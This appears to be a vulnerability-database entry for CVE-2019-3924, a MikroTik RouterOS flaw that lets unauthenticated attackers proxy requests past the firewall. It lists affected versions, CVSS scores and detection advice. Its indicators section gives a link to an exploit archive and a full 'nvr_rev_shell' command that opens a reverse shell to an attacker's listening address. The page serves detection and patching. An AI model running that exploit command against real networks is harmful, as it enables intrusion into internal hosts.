CVE-2019-3924

published 2019-02-20

CVE-2019-3924: MikroTik RouterOS before 6.43.12 (stable) and 6.42.12 (long-term) is vulnerable to an intermediary vulnerability. The software will execute user defined…

Priority P2 67 high 7.5 CVSS 3.1

AV N AC L PR N UI N S U C H I N A N

EXPLOIT

MikroTik RouterOS before 6.43.12 (stable) and 6.42.12 (long-term) is vulnerable to an intermediary vulnerability. The software will execute user defined network requests to both WAN and LAN clients. A remote unauthenticated attacker can use this vulnerability to bypass the router's firewall or for general network scanning activities.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
mikrotik	routeros	< 6.42.12	6.42.12
mikrotik	routeros	< 6.43.12	6.43.12
tenable	mikrotik_routeros	—	—

Detection & IOCs extracted from sources · hover to see the quote

port 8291↗

url https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46444.zip↗

process nvr_rev_shell↗

command ./nvr_rev_shell --proxy_ip <router_ip> --proxy_port 8291 --target_ip <target_ip> --target_port 80 --listening_ip <attacker_ip> --listening_port <port>↗

• → Monitor for unauthenticated inbound connections to MikroTik Winbox port 8291 (TCP) originating from WAN/untrusted interfaces, which may indicate exploitation of the proxy/intermediary vulnerability. ↗
• → Detect traffic proxied through RouterOS from WAN to LAN hosts — look for unexpected router-originated connections to internal hosts (e.g., port 80) following an inbound connection to port 8291. ↗
• → Alert on exploitation PoC binary name 'nvr_rev_shell' appearing in process execution logs or network traffic metadata. ↗
• → The exploit uploads a webshell and executes a reverse shell — monitor for unexpected outbound TCP connections from internal NVR/camera devices to external IPs following router proxy activity. ↗

• · Vulnerable versions are MikroTik RouterOS before 6.43.12 (stable) and before 6.42.12 (long-term). Devices running these versions with port 8291 (Winbox agent) exposed to untrusted networks are at risk. ↗
• · The vulnerability is exploitable by a remote unauthenticated attacker — no credentials are required, making firewall-level blocking of port 8291 from untrusted interfaces a critical mitigation. ↗

CVSS provenance

nvd v3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd v2.0 5.0 MEDIUM AV:N/AC:L/Au:N/C:P/I:N/A:N

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-441